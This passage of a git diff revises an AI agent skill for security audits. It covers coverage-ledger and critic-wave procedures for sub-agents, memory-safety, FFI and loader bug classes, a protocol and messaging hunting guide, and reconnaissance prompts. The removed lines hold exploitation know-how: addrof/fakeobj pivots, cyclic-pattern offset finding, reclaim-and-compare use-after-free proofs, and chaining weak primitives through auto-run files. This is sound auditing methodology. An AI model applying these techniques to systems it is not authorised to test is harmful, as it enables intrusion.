fingerprints. A `blocked` unit is an owned partial review with nonempty paths, checks, and unresolved facts but no fingerprint. All source paths are repository-relative, never absolute or traversal paths. A trace with several entries begins at `entrypoint`, ends at `sink`, and labels intermediate steps `propagation`. Every check has its own canonical lowercase `agent_id` and nonempty `reviewed_paths`; the unit-level list is exactly the union of those owned paths. A `source` check uses `artifact: null`. A `local` check uses one successfully parent-promoted regular file beneath `agents//artifacts/`; this permits a verifier to add independently owned evidence without taking ownership from the hunter. Never link scratch, an output-root file, or another check owner's artifact. +## Parent consolidation and ledger update + +The parent validates each unit result, maps it to exactly one assigned `coverage_id`, and updates only that ledger unit. Reject duplicate or absent IDs, unsafe unit or check agent IDs, source checks with artifacts, and local artifacts that trusted parent-side code did not promote into the check owner's artifacts subtree. Copy the unit's `reviewed_paths`, its `checks` into the unit's `local_checks`, linked artifact paths, candidate fingerprints, and unresolved facts into the ledger. Retain each hunter's `hardening` list in a parent bookkeeping field on the relevant units (outside the semantic fields) so Phase 6 can report it. A failed, malformed, or unsupported conclusion leaves that unit `planned` for reassignment. Untouched budget/profile units become unassigned `deferred` units with empty evidence and a reason; do not hide partial evidence in `deferred`. Run `validate-coverage-ledger.cjs` after the update; an invalid ledger cannot drive another assignment. This per-unit contract allows one hunter to close one unit while returning a candidate or blocker for another. + +Consolidate candidate entries by fingerprint and then by root cause. One root cause that exposes several entry paths or effects is one candidate with the strongest complete trace. Related but independent missing controls use separate fingerprints. Record duplicate fingerprints in the relevant ledger unit and do not send duplicate candidates to validation. + +## Coverage-critic waves + +Immediately after each hunter wave, spend the reserved invocation on one fresh `research` post-wave coverage critic. It receives `architecture.md`, the full coverage ledger including each assignment block map, current candidate fingerprints and states, and the prior-ledger gap summary. It reads source but does not write or run targets. Require exactly this JSON: + +```json +{ + "missing_units": [ + { + "surface": "...", + "boundary": "...", + "subsystem": "...", + "attack_class": "...", + "starting_paths": ["repo/relative/path"], + "selected_companion_blocks": ["FILE.md#section"], + "excluded_blocks": [{"block": "FILE.md#section", "reason": "..."}], + "reason": "source-backed coverage gap" + } + ], + "reassign_ids": ["existing-id-that-did-not-close"], + "resolved_prior_leads": ["fingerprint"], + "stop": false +} ``` -## How to hunt - -Don't just check if defenses exist. Try to break them. - -READ THE CODE AT DEPTH. Don't stop at the first function. Follow the data through -every layer — from the entry point through validation, transformation, storage, retrieval, -and output. Bugs live in the gaps between layers. - -Think about these angles: - -1. THE HAPPY PATH IS DEFENDED. ATTACK THE SAD PATH. - Error handlers, fallback branches, catch blocks, default cases, timeout paths, - retry logic, cleanup routines. What happens when things fail? Are errors handled - with the same rigor as success? Does a failed validation leave state half-modified? - -2. WHAT HAPPENS AT BOUNDARIES? - Empty input. Maximum-length input. Null vs undefined vs missing. Zero. Negative numbers. - Unicode edge cases. The first item and the last item. One more than the maximum. Exactly - at the rate limit. The moment a token expires. - -3. WHAT DO COMPONENTS ASSUME ABOUT EACH OTHER? - Does the database layer assume the API layer validated input? Does the renderer assume - content was sanitized on write? Does the auth middleware assume routes register themselves - correctly? Find where trust is implicit and test whether it's justified. - -4. WHAT IF OPERATIONS HAPPEN IN THE WRONG ORDER? - Call step 3 before step 1. Call delete during create. Send the callback before the request. - Hit the confirmation endpoint without starting the flow. Replay a completed flow. - -5. WHAT IF TWO THINGS HAPPEN AT ONCE? - Two requests to the same resource. Modify while reading. Delete while iterating. - Publish while someone else is editing. Two users claiming the same unique resource. - -6. WHERE DO TWO PARSERS OR VALIDATORS DISAGREE? - Input accepted by the schema but rejected by the database. URL parsed differently by - the router vs the application code. Content-type header says one thing, body is another. - Filename extension vs MIME type vs magic bytes. - -7. WHAT SURVIVES A ROUND TRIP? - Data stored then retrieved — is it the same? Does encoding change? Does escaping - double-up? Is a relative path resolved differently on read vs write? Does serialization - lose type information? - -8. WHAT DOES THE CONFIGURATION CONTROL? - What happens when config is missing or default? Can an environment variable override a - security control? Does a feature flag disable validation? What's the security posture - during setup/first-run before config is complete? - -9. FOLLOW THE MONEY (OR THE PRIVILEGE). - For every operation that changes state, ask: who authorized this? Trace back to the - permission check. Is it checking the right permission? Is it checking against the right - resource? Is there a parallel path to the same state change that checks differently - or not at all? - -10. LOOK FOR LEAKED CONTEXT. - Error messages that reveal internal paths. Stack traces in production. Timing differences - that reveal whether a record exists. Response size differences. HTTP headers that - disclose versions. Debug endpoints that survived into production. - -11. WHAT PARAMETERS OVERRIDE SECURITY-RELEVANT DEFAULTS? - Where a default is safe but a user-supplied parameter can change it. Look for - every input that overrides a security-relevant default and check if the override - is gated by appropriate permissions. - -12. WHERE DO UNVERIFIED CLAIMS DRIVE TRUST DECISIONS? - Anywhere self-declared identity, capability, or metadata influences an access - or trust decision without independent verification. - -GO DEEP, AND PROVE IT. You can spawn sub-agents: if evaluating a candidate finding needs -deep understanding of a subsystem, use the Task tool to launch a research agent instead of -holding everything in one context. And where the code is locally runnable, don't just reason -about it — extract the suspect function into a minimal harness (or build and run the target) -and test the hypothesis directly. A reproduced result beats an argued one. - -YOUR SCOPE IS YOUR PRIMARY FOCUS, NOT A BOUNDARY. -If while investigating your assigned area you notice something wrong in a different -category — a permission issue while tracing injection, a race condition while reviewing -auth — report it. Don't ignore a bug because it's "not your area." Attackers don't -respect category boundaries. - -## Validation rules — apply before reporting ANY finding -1. You MUST construct a concrete attack (exact inputs, requests, or action sequence) -2. The attack MUST achieve meaningful impact (not just "learn field names" or "cause an error") -3. Check if another layer already prevents exploitation — if so, it's a hardening note, not a finding -4. If the baseline comparable has the same pattern, note whether it's been exploited there -5. If your exploit depends on parser/runtime behavior, verify against the relevant spec or implementation — do not reason from intuition. -6. Return ONLY confirmed findings with concrete attacks, or "No exploitable vulnerabilities found" if that's honest. -``` + +The critic checks for unmapped entry points, unchecked parallel paths, missing lifecycle modes, selected companion classes without a unit, unjustified exclusions, units closed without paths/checks, and prior `needs_validation` or changed-source gaps that no unit addresses. It proposes coverage, not findings. `stop` is the critic's own assessment: `true` only when it accepts no `missing_units` and no `reassign_ids`; the parent's loop condition below, not `stop` alone, decides whether another wave runs. For each fingerprint in `resolved_prior_leads`, the parent marks the linked unit or prior-lead entry resolved and records the critic's source-backed reason. + +The parent rejects proposed units outside the review scope or source/local boundary, derives canonical IDs for accepted units, and deduplicates them against current units. A prior same-source completed unit may supply evidence; prior `deferred`, `blocked`, `out_of_scope`, or changed-source units become current work and never suppress an accepted unit. Fail rather than merge a canonical ID collision. For each legitimate `reassign_id` with live `blocked`, `covered`, or `candidate` evidence, append that exact terminal record to the unit's `attempts` with the critic's source-backed `reassignment_reason`. Preserve its owner, checks, artifacts, fingerprints, and unresolved facts in that archive. Increment the live `wave`; the next hunter must be a fresh owner and receives an `in_progress` unit with empty live evidence. The hunter's terminal result writes only its new evidence into the live fields. Never copy an archived owner's checks or artifacts into the new live attempt. Sort IDs and validate the ledger before another assignment. In `standard` and `deep`, when the post-wave critic reports no accepted `missing_units` or legitimate `reassign_ids` and no `planned` units remain, spend the separately reserved invocation on a distinct final-clean critic. Complete coverage only when that critic also returns no accepted work. If it finds work, queue it and repeat the wave, post-wave critic, and final-clean process. If time or resources force an early stop, mark every untouched unit `deferred`, preserve the critic's reason, and disclose the gap in the report. Never use a silent wave or agent cap as evidence of complete coverage. + +The run profile bounds this loop. A `quick` run has exactly one hunter wave followed by exactly one final critic pass. Add each accepted `missing_unit` to the current ledger and mark it `deferred` with reason `quick_profile_final_critic`. For each legitimate evidence-bearing `reassign_id`, archive the live terminal state in `attempts`, increment `wave`, and set the live state to unassigned `deferred` with empty evidence and reason `quick_profile_final_critic`. Do not launch a second hunter wave or another critic. In a scoped run, the critic still reports out-of-scope gaps it notices, but the parent records them as `out_of_scope` with the critic's reason instead of assigning them. The early-stop rule above is the same mechanism: `quick` is a pre-declared early stop, not evidence of complete coverage. + +A budget bounds it the same way. Before assigning each wave, compare remaining budget against its hunter count, the validation reserve, the immediate post-wave critic, and the retained final-clean critic (`quick` reserves only its single final post-wave critic). Shrink the hunter wave to fit, taking units in priority order. If those mandatory reserves do not fit, launch no hunter from that wave and mark its planned units `deferred` with reason `budget_cannot_reserve_critics_and_validation`. Critic-proposed units enter the same ranked queue rather than extending the budget. If surviving candidates exceed the validation reserve, follow the incomplete-run rule in `SKILL.md`: stop hunting, validate in fingerprint order, retain unvalidated units as unresolved candidates, and never present them as findings. diff --git a/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md b/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md index d138ddd..86ff492 100644 --- a/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md +++ b/.agents/skills/security-audit/MEMORY-SAFETY-AND-BINARY.md @@ -2,57 +2,100 @@ #### When to use this file -The attack classes in `ATTACK-CLASSES.md` are tuned for web apps, APIs, and services. Reach for *this* file when the target processes untrusted bytes in a memory-unsafe context: C/C++/Objective-C, Rust `unsafe`, kernel modules and drivers, parsers and decoders (image/video/font/archive/PDB), reverse-engineering and dev tooling, network daemons, firmware, and language runtimes/JITs. These targets fail differently from web apps — the bug is a memory corruption or a logic error in privileged code, not an injection or an access-control gap — so the hunt needs a different lens. +Reach for this file when the target processes untrusted bytes in a memory-unsafe or privileged context: C/C++/Objective-C, Rust `unsafe`, FFI, kernel modules and drivers, parsers and decoders, network daemons, firmware, binary loaders, language runtimes, and JITs. Use `PROTOCOLS-RPC-AND-MESSAGING.md` for protocol authorization and state-machine logic, and this file for process integrity, memory safety, ABI boundaries, and loader behavior. -Pick the relevant classes based on Phase 1. Split per subsystem for large targets. +Pick relevant classes from Phase 1 and split large targets by parser, allocator/lifetime, FFI, concurrency, loader, runtime, or privileged interface. ## Core discipline (include in every agent prompt for this domain) ``` -- A buffer sized for the common case can still overflow on adversarial input. Verify every "this length is bounded" claim against the WORST case, not the happy path. -- "Huge count = guaranteed crash" is FALSE. An oversized copy length is size- and libc-dependent: it often faults, but the copy primitive can also wrap or land a short, scattered write first. Determine the actual write behavior before downgrading to DoS-only. -- Static offsets are a guess; the crash dump is truth. An unreproduced bug is not a bug — if you claim exploitability, say exactly which input reaches which sink and what the observable result is. -- Sanitizer silence ≠ safety where the deref is outside instrumented code (hand-written asm, JIT-emitted, intra-allocation). Don't trust a clean ASan run for those. +- Re-derive every bound and lifetime from attacker-controlled inputs and all callers. Validate against the worst accepted case, not a typical test vector. +- A panic, sanitizer finding, or crash proves a defect only when a realistic untrusted input reaches it. Do not infer memory corruption, code execution, or shared availability impact from a label alone. +- Validate in a local harness with sanitizers, deterministic concurrency tests, existing fuzz targets, and debugger-assisted fault classification. Stop after proving the violated invariant and observable impact; do not develop post-corruption techniques. +- Assembly, JIT code, custom allocators, intra-object accesses, and foreign libraries can escape sanitizer coverage. Identify which relevant instructions are instrumented. +- Classify as `confirmed` only after source evidence and bounded local validation establish the defect and effect. Use `needs_validation` when ABI, allocator, architecture, feature, deployment, or reachability facts remain unknown. ``` -## Memory-safety attack classes (subagent_type: `general`) +## Bounds, integer, and representation attack classes (subagent_type: `general`) -**Spatial: out-of-bounds read/write** -- **Length subtraction underflow** — a copy/loop bound is `a - b` (`uri.len - prefix`, `total - consumed`) where the attacker can make `b > a`. Negative → casts to ~SIZE_MAX. Map which bytes land where; don't assume "just a crash." -- **Operator-precedence / multi-term length errors** — an unparenthesized `+`/`-` length chain (`endp - begin + consume`) that silently over-adds when one term is attacker-sized. Audit each CALLER's value of the variable term — the common caller is often correct-by-accident on the zero path and survives testing. -- **`sizeof(*p)` vs `sizeof(element)` pointer-depth confusion** — an allocation/copy size computed one indirection too deep (`gid_t **` → `sizeof(*p)`=8 not 4). The bounds check passes because it uses the same wrong unit. Compiled tell: `shl $0x3` where `shl $0x2` was meant. -- **Wire-length into fixed stack buffer** — a function rebuilds a network/user blob into a fixed array using an attacker length field, with the bounds check missing/late or computed on the wrong headroom (a header pre-written into the buffer). Re-derive true headroom (size minus fixed prefix); confirm no guard precedes the copy. +**Out-of-bounds read or write** +A length, offset, index, or terminator reaches a fixed or allocated buffer without a correct bound. Recalculate available headroom after prefixes, alignment, padding, and terminators. Check both source and destination capacity, and whether a short input is read before its declared length is trusted. -**Temporal: use-after-free / lifetime** -- **Embedded waiter-anchor freed without draining** — a struct embeds a list head (`selinfo`/`knlist`/timer/knote) reachable by unprivileged poll/select/kqueue, and a free path destroys it but skips the drain a wakeup path does. For every `selrecord(&obj->x)`, require a matching drain on EACH path that can free `obj`. -- **Cached raw pointer + reallocating owner** — a view caches `base+offset`, a grow/realloc path moves the backing store, and the invalidation walks only the *current* wrapper's view set while grow *replaces* the wrapper. The original view dangles. +**Integer overflow, underflow, truncation, and signedness** +Review attacker-controlled arithmetic before allocation, copy, loop, indexing, and pointer operations. High-hit patterns include `a - b` with `b > a`, `count * element_size`, additions near the type maximum, negative values converted to unsigned, 64-bit lengths narrowed to 32-bit fields, and sentinel values such as `-1` becoming a large size. Confirm which checked representation is later used. -**Type confusion** -- **Read-and-write confusion → addrof/fakeobj** — a confusion that reads a pointer slot as a scalar (addrof) and writes a scalar into a pointer slot (fakeobj). The standard pivot of runtime/JIT exploitation; the prior art is about the PROBLEM CLASS (NaN-boxing, cached typed-array data pointer), not the specific target. -- **Hierarchical-walker leaf check skipped** — a page-table / nested / B-tree / extent walker checks the valid bit but not the leaf/size bit at level N, then descends treating an attacker-owned leaf as an interior node. +**Unit and pointer-depth confusion** +Code mixes bytes, elements, code units, pages, words, wire units, or nested pointer element sizes. Compare the unit at parse, validation, allocation, API boundary, and copy. A bounds check using the same wrong unit as the allocation is still wrong. -**Value: uninitialized & oracle** -- **Uninitialized worst-case buffer + observable compare = read oracle** — a buffer sized to a MAX constant is partially written, then compared against attacker bytes with an attacker-controlled compare length where match/no-match is observable. No memory-disclosure bug needed; the gap between actual output and MAX-size is the leak window. Brute one byte/connection, hint the structural bits, parallelize. +**Uninitialized or partially initialized data** +A buffer, padding, struct field, or vector capacity is returned, compared, hashed, serialized, or passed across a trust boundary before initialization. Require an observable consumer and realistic output length; stack allocation by itself is not disclosure. -## Kernel & privileged-interface attack classes (subagent_type: `general`) +## Lifetime, type, and concurrency attack classes (subagent_type: `general`) -- **User-copy bounds + double-fetch (TOCTOU)** — a syscall/ioctl/Mach-trap entry whose user-copy primitive (`copyin` / `copy_from_user`) brings attacker memory in, then re-reads the SAME user address after a check. Any fact derived from concurrently-mutable user memory and trusted on a later pass is a double-fetch even when each op is individually correct. -- **Object lifecycle / UAF (IOKit/OSObject and friends)** — unbalanced retain/release on an externally-reachable object; a method that releases on one path but a sibling dispatch (compat/fallback/ptrace) forgot it. Diff the duplicated dispatch paths. -- **Unchecked downcast / type confusion** — `OSDynamicCast` (or any tagged-union cast) whose result is used without a null check, or a selector/index into a dispatch table without a bounds check. -- **World-writable / under-permissioned powerful interface** — a device node, admin socket, or mgmt API exposed more broadly than its power, that validates the request SHAPE (index in range) but never the requester's AUTHORITY over the named resource. Danger = power × reachability; enumerate the surface reachable from the *actual* untrusted context first. -- **Validate-then-act-on-stale-state** — a fast path and a compat/ptrace/fallback path to the same operation where one copy forgot a guard the other performs. +**Use-after-free, stale view, and double free** +Owners are released while callbacks, wait queues, timers, iterators, borrowed slices, or cached raw pointers can still use them. Review every error, cancellation, close, and realloc path. For embedded notification anchors, each free path must drain or detach all observers. + +**Type confusion and invalid downcast** +A tag, vtable, union discriminator, object kind, or foreign handle is checked differently from the representation later read. Look for unchecked dynamic casts, stale tags after reuse, and serialized types whose validated element differs from the element consumed. Confirm a wrong-type read or write locally without extending the test beyond the violated invariant. + +**Reference-count and ownership races** +Non-atomic retain/release, a check followed by an unlocked use, or inconsistent ownership across threads can free or mutate an object during access. Compare fast, error, shutdown, and compatibility paths for the same lock and ownership rules. + +**Shared-state races and TOCTOU** +Concurrent parser streams, global caches, lazy initialization, signal handlers, and resource teardown can invalidate bounds, policy, or pointers established earlier. Verify the race with a repeatable local schedule, barrier, or thread sanitizer; a hypothetical interleaving without a security-relevant state transition remains `needs_validation`. + +**Lock-order, deadlock, and starvation** +Externally reachable operations acquire locks in inconsistent order or hold them across callbacks and blocking I/O. Report under availability only when bounded input can stop shared progress; otherwise record it for fixing as a concurrency defect. + +## FFI and ABI attack classes (subagent_type: `general`) + +**Pointer-length and ownership contract mismatch** +Caller and callee disagree on who allocates, frees, pins, or mutates a buffer, how long a pointer remains valid, or whether a length is bytes or elements. Trace both sides of every `extern`, CGo/JNI/Python/native binding, and generated wrapper. Check null, zero length, aliasing, and callback retention. + +**Layout, alignment, and enum disagreement** +Foreign code receives a struct, bitfield, packed record, callback signature, integer width, enum, or calling convention that differs by architecture or build flag. Verify `repr`, packing, alignment, endianness, and ABI-specific types. An in-repo declaration mismatch can be confirmed locally; an opaque foreign implementation requires `needs_validation`. + +**Unwind, exception, and thread-affinity violations** +Exceptions or panics cross an ABI that forbids unwinding, callbacks run after teardown, or APIs requiring one runtime thread are invoked elsewhere. Review error conversion and cancellation. Confirm whether the process aborts or state is corrupted before assigning impact. + +## Binary loading and runtime attack classes (subagent_type: `general`) + +**Library, plugin, and executable search-order trust** +A privileged process loads a library, plugin, runtime image, or helper from a path writable by a less-trusted principal, or resolves a bare name through an attacker-influenceable working directory or environment. Compare intended installation ownership with each fallback and compatibility search path. A user loading their own plugin into their own process is not a boundary violation. + +**Missing artifact identity or signature binding** +A loader verifies one file or metadata record but maps a different image because path resolution, file replacement, architecture slices, or embedded resources are not bound to the check. Supply-channel authenticity belongs in `SUPPLY-CHAIN-AND-RELEASE.md`; this class covers the local verification-to-map gap. + +**Malformed binary metadata and relocation handling** +Offsets, counts, sections, relocations, symbols, bytecode, or debug metadata are trusted before range, overlap, and representation checks. Test parsers with bounded local fixtures and sanitizers. Separate memory corruption from a safely rejected malformed file. + +**JIT and generated-code consistency** +Validator, interpreter, optimizer, and generated code disagree about types, bounds, side effects, or lifetime. Diff optimized and unoptimized paths using the same local input. Confirm a process-integrity effect; output variance that stays within language semantics is not a finding. + +**Unload, reload, and teardown safety** +Live function pointers, callbacks, worker threads, or data views survive module unload or runtime reset. Review shutdown and failed-load cleanup as closely as startup. + +## Kernel and privileged-interface attack classes (subagent_type: `general`) + +**User-copy bounds and repeated reads** +A syscall, ioctl, driver, or kernel parser derives a trusted fact from user memory then reads the same mutable address again. Copy the full request once or revalidate the later copy. Also audit size, direction, and access checks at each user-copy primitive. + +**Privileged object lifecycle and dispatch consistency** +Externally reachable objects have unbalanced retain/release, teardown without observer drain, unchecked selector/table indices, or duplicated compatibility paths that omit a guard. Diff each dispatch and free path side by side. + +**Under-authorized powerful interfaces** +A device node, admin socket, helper, or management API validates shape but not the caller's authority over the resource. Establish actual interface ownership and reachability; permissions or sandbox policy outside the repository make this `needs_validation`. ## Universal moves (apply across the above) -- **Audit the incomplete fix.** A targeted patch is a high-signal pointer to a dangerous sink with the analysis already done. Read the diff → find the exact sink it hardened → scan the same function, parallel paths, and alternate callers for the SAME tainted-data-to-sink shape the patch missed. Incomplete fixes are their own bug class. -- **Trust asymmetry between two ends of a protocol.** A filter/verification/size-cap installed on one side of a connection but missing on the symmetric call on the other. Find the protective call → grep its mirror on the opposite role → if absent, the earliest unprotected pre-auth parse is the prize. A malicious server/MITM is a real attacker. -- **Chain a weak primitive.** A blocked path means you haven't found the right pivot, not that it's unexploitable. Always ask "what does this actually let me do, and what runs automatically once I can put bytes on disk?" (plugin dirs, autoload, `.git/hooks`, `conftest.py`). -- **Hunt where the crowd isn't.** The tools researchers themselves trust — debuggers, disassemblers, scanners, dev tooling — are under-audited and high-impact. Old code and obscure formats are gold. +- Audit fixes and duplicated paths for the same source-to-sink shape. A check in one caller, architecture, protocol role, feature flag, or compatibility path does not protect its siblings. +- Build a table for every parser or FFI boundary: accepted length/type, checked representation, allocation owner, consumer, thread, and teardown. Most native findings are one disagreement in that table. +- Use existing corpora and small locally generated boundary fixtures. Save exact sanitizer/runtime output and the input property that triggers it; avoid large resource consumption and any live target. ## Validation rules (apply before reporting ANY finding here) -1. **Build a debuggable target first.** Wire in crash dumps + a debugger before you claim exploitability. You can't iterate on what you can't observe. -2. **Read the offset from the crash, not the disassembly.** Send a cyclic (De Bruijn) pattern; the faulting register values give the exact offset. A variable-length prefix (handle, optional field, padding) shifts the geometry off the static prediction. -3. **Prove a UAF by reclaim-and-compare** when the sanitizer is blind (asm/JIT/intra-allocation): trigger the dangling view, reclaim the freed region with a size-matched content-controlled allocation, write through the dangler, read the reclaimer back — aliasing either way proves it. -4. **Distinguish crash from exploitable.** For an OOB write, map which bytes land where and whether a security-relevant field is reachable; for a "huge count," prove the bounded-write case before calling it DoS-only. -5. **Return ONLY confirmed findings** with the exact input → sink path and the observable result, or "No exploitable memory-safety issues found" if that's honest. +1. Establish a realistic untrusted entry and exact operation that violates a bounds, type, lifetime, ABI, concurrency, loader, or authority invariant. +2. Classify the observable effect: invalid read, invalid write, stale alias, wrong object, uninitialized output, unauthorized image load, deadlock, or safe process termination. Do not claim a stronger effect than observed. +3. Run the narrowest local harness, existing test, sanitizer, or fuzzer needed to reproduce the effect. Verify sanitizer coverage of the faulting operation and record architecture/build conditions. +4. For concurrency, use a deterministic schedule or sanitizer trace. For binary loading, prove the checked identity differs from the mapped identity and name the lower-trust writer. +5. Return `confirmed` findings only with exact input, source trace, and observed result. Return `needs_validation` for a specific unresolved reachability, ABI, build, deployment, or runtime fact and state the bounded check needed. diff --git a/.agents/skills/security-audit/PROTOCOLS-RPC-AND-MESSAGING.md b/.agents/skills/security-audit/PROTOCOLS-RPC-AND-MESSAGING.md new file mode 100644 index 0000000..b04ab88 --- /dev/null +++ b/.agents/skills/security-audit/PROTOCOLS-RPC-AND-MESSAGING.md @@ -0,0 +1,81 @@ +# Protocols, RPC, and Messaging Hunting + +#### When to use this file + +Reach for this file when the target uses gRPC, GraphQL transports, Cap'n Proto, Thrift, Protobuf, custom binary protocols, streaming RPC, webhooks, brokers, queues, pub/sub, or event buses. It covers peer identity, logical message interpretation, routing, replay, ordering, and delivery semantics. Use `MEMORY-SAFETY-AND-BINARY.md` for parser memory safety, `WEB-PROTOCOL-AND-AUTH.md` for HTTP framing, and `RESOURCE-EXHAUSTION-AND-AVAILABILITY.md` for availability impact. + +Split large systems by producer/consumer pair, external/internal peer role, synchronous RPC, streaming, and asynchronous message path. + +## Core discipline (include in every agent prompt for this domain) + +``` +- "Internal" is not authentication. Name the peer identity at every hop and show how it becomes the application principal used for authorization. +- Schema validation proves message shape, not provenance, resource authority, ordering, or safe values. Follow decoded fields to policy and side effects. +- Broker guarantees and application guarantees differ. Write down retry, ordering, acknowledgement, deduplication, and transaction behavior before evaluating state changes. +- Parser disagreement requires two concrete consumers, schema versions, or wire representations and one security-relevant divergent value. +- Use `confirmed` for source-complete paths plus bounded local producer/consumer tests. Use `needs_validation` for broker ACL, service-mesh identity, topic attachment, or compatibility behavior outside the repository. +``` + +## Framing, schema, and interpretation attack classes (subagent_type: `general`) + +**Message boundary and canonicalization disagreement** +Components disagree on length, compression, duplicate fields, unknown fields, encoding, numeric width, normalization, or envelope/body precedence. Compare generated and custom parsers, gateways, language bindings, and version converters. Confirm which principal, resource, or operation differs after decoding. + +**Union, enum, and default confusion** +Unknown variants, missing discriminators, zero values, default privileges, or compatibility mappings reach code that assumes a validated case. Review exhaustive dispatch, default branches, and how old consumers interpret newly added fields. + +**Envelope and payload identity mismatch** +Authorization uses trusted-looking routing or envelope metadata while the handler acts on a conflicting tenant, account, subject, object, or sender in the body. Identify which source is authoritative and ensure clients cannot override it. + +## RPC identity and authorization attack classes (subagent_type: `general`) + +**Interceptor and method-path inconsistency** +An authn/authz interceptor applies to unary methods but not streams, reflection, health, gateway-transcoded paths, compatibility services, or individual stream messages. Compare every registration and route to the same operation. + +**Peer identity to application-principal confusion** +mTLS, workload identity, bearer metadata, forwarded identity, or broker credentials authenticate a channel, but a caller-controlled field selects the user or tenant. The channel identity and claimed principal must be bound by deterministic policy. + +**Per-item and streaming authorization gaps** +A stream, subscription, batch, or bulk message is authorized once, then later items name different resources or continue after role, membership, or token revocation. Re-check where scope can change and bind subscriptions to their original principal. + +**Callback and reply-correlation confusion** +Predictable, reused, or cross-tenant correlation IDs let a response, webhook, cancellation, or acknowledgment satisfy another caller's pending operation. Bind each outstanding request to authenticated peer, tenant, operation, and lifecycle. + +## Broker and queue isolation attack classes (subagent_type: `general`) + +**Topic, routing-key, and subscription scope gaps** +A publisher or subscriber can select another tenant's topic, wildcard, consumer group, partition, reply queue, or dead-letter route. Check broker-enforced ACLs where visible and application-side namespace construction. Tenant text inside a payload is not isolation. + +**Dead-letter, retry, and diagnostic disclosure** +Messages routed to dead-letter queues, error topics, tracing, or operator views contain secrets or cross-tenant payloads accessible to a lower-trust consumer. Review policy and redaction at the failure path, not just normal delivery. + +**Untrusted producer treated as control plane** +A message body can declare itself an admin event, provider callback, replication record, or migration instruction without an independently authenticated producer and event type. Verify signatures and source/account/audience binding before privileged handling. + +## Replay, ordering, and transaction attack classes (subagent_type: `general`) + +**Duplicate delivery and idempotency gaps** +Retries or redelivery repeat a side effect because deduplication is absent, occurs after mutation, or uses a key that collides across tenants or operations. Confirm the broker's delivery model and the side effect that is not naturally idempotent. + +**Out-of-order and stale message acceptance** +Older state, revoked membership, canceled work, or pre-step-up authorization arrives after newer state and overwrites it. Review sequence/version checks, tombstones, partition changes, and restore/replay workflows. + +**Acknowledgment/commit ordering defects** +Acknowledgment occurs before durable commit and loses security-relevant work, or commit happens before an unreliable acknowledgment and duplicates a mutation. Evaluate transactional outbox/inbox behavior and failure recovery. + +**Partial multi-consumer transitions** +Several consumers jointly implement one authorization or business transition, but retries and partial failure leave only a subset committed. Identify invariants that must become durable atomically or compensate with current authorization. + +## Universal moves (apply across the above) + +- Draw producer → broker/transport → gateway → consumer → storage for each message family. At each hop record authenticated peer, authoritative tenant/resource fields, validation, and side effect. +- Feed the same small fixture to every in-repo schema version or language binding. Test duplicate, missing, unknown, boundary, replayed, and reordered messages without producing load. +- Compare normal, retry, dead-letter, replay, migration, reflection, stream, and gateway-transcoded routes. Security policy must survive transport changes. + +## Validation rules (apply before reporting ANY finding here) + +1. Name the realistic producer or peer, accepted message, authenticated channel identity, affected principal/resource, and unauthorized mutation or disclosure. +2. For disagreement claims, cite both parsers/consumers and the divergent decoded value. Safe rejection by either side prevents confirmation. +3. For replay/order claims, establish actual delivery guarantees and reproduce the invariant failure with a bounded local/in-memory transport. +4. For authorization and isolation, verify all interceptor, broker ACL, gateway, and consumer layers visible in source. External attachments make the candidate `needs_validation`. +5. Return `confirmed` only with the complete message lifecycle and observed meaningful result. Return `needs_validation` with the exact broker, service identity, route, or delivery fact required. diff --git a/.agents/skills/security-audit/RECONNAISSANCE.md b/.agents/skills/security-audit/RECONNAISSANCE.md index a903acc..1a170a9 100644 --- a/.agents/skills/security-audit/RECONNAISSANCE.md +++ b/.agents/skills/security-audit/RECONNAISSANCE.md @@ -1,46 +1,156 @@ # Reconnaissance -### Phase 1: Understand the application +### Phase 1: Map the source and plan coverage -Before looking for bugs, understand what you're auditing. This requires depth, not just a directory listing. Launch **multiple `research` agents in parallel** to map different aspects of the codebase: +The parent initializes `run-metadata.json`, applies the strict pre-reconnaissance budget gate in `SKILL.md`, then creates agent scratch roots and the shared ledger before hunting. If the gate fails, record the incomplete status in metadata and launch no reconnaissance agent. Reconnaissance reads the target and locally available build/configuration state only. It does not contact deployed endpoints, external identity providers, registries, brokers, cloud APIs, or other shared services. -**Agent 1a: Overview, tech stack, and comparable baseline** -``` -Explore the codebase at . Answer: -1. What is this application? What kind of software? (web app, API, CLI tool, library, daemon, desktop app, mobile backend, etc.) -2. Who uses it and how? (end users, developers, operators, other services) -3. What's the tech stack? (languages, frameworks, databases, runtime, deployment model) -4. What comparable mainstream software exists? What security tradeoffs does the comparable accept? -5. What's the high-level directory structure? -Return specific file paths for key entry points. +Launch several `research` agents in parallel. They return structured facts to the parent and do not write files. + +**Agent 1a: Product, stack, and local operation** + +```text +Read the target at . Do not use network access. Return: +1. Product type, users, operators, and ordinary trust-sensitive actions. +2. Languages, frameworks, build system, runtimes, and locally visible deployment models. +3. Repository-relative entry points and subsystem boundaries. +4. Exact build and test commands that could run offline with local dependencies, their expected write locations, and the target-controlled inputs they process. Do not run them during reconnaissance. +5. Comparable software or protocol visible from local documentation and dependencies. If no useful comparison is source-grounded, say so. +6. Missing local toolchains or runtime facts that limit bounded execution. +Return only source facts with repository-relative file:line references. ``` -**Agent 1b: Trust boundaries and access control** +**Agent 1b: Principals, authority, and controls** + +```text +Read all source that establishes identity, authorization, isolation, and privilege. Map: +1. Each lower-trust principal and the actions it has by design. +2. Authentication or peer identity at each entry surface. +3. Per-resource authorization and tenant/owner scope. +4. Process, browser, workload, CI, plugin, model/tool, device, or local-IPC authority. +5. Privilege changes, confirmation, revocation, recovery, and fallback paths. +6. Which controls are source-visible and which depend on an unobserved deployment fact. +Return trust boundaries and control locations with repository-relative file:line references. Do not infer live reachability. ``` -Explore the codebase at . Find and read ALL code related to: -1. Trust boundaries — where does untrusted input enter the system? (HTTP requests, CLI args, file reads, IPC, message queues, environment variables, config files, etc.) -2. Authentication — how do callers prove identity? (sessions, tokens, API keys, mTLS, Unix sockets, etc.) If there's no authentication, note that. -3. Authorization — how are permissions enforced? (middleware, decorators, capability checks, file permissions, etc.) If there's no authorization model, note that. -4. Privilege separation — does the code run as root? Drop privileges? Use sandboxing? Fork workers? -5. Any bypass mechanisms (dev-only modes, test helpers, setup flows, debug flags) -Return the trust model: who are the actors, what can each do by design, and which code enforces it. Include specific file paths and line numbers. + +**Agent 1c: Entry surfaces, copies, and sinks** + +```text +Inventory every source-visible place external or lower-trust input enters: +- HTTP/browser, RPC/message/protocol, files/archive/document, CLI/env/config, 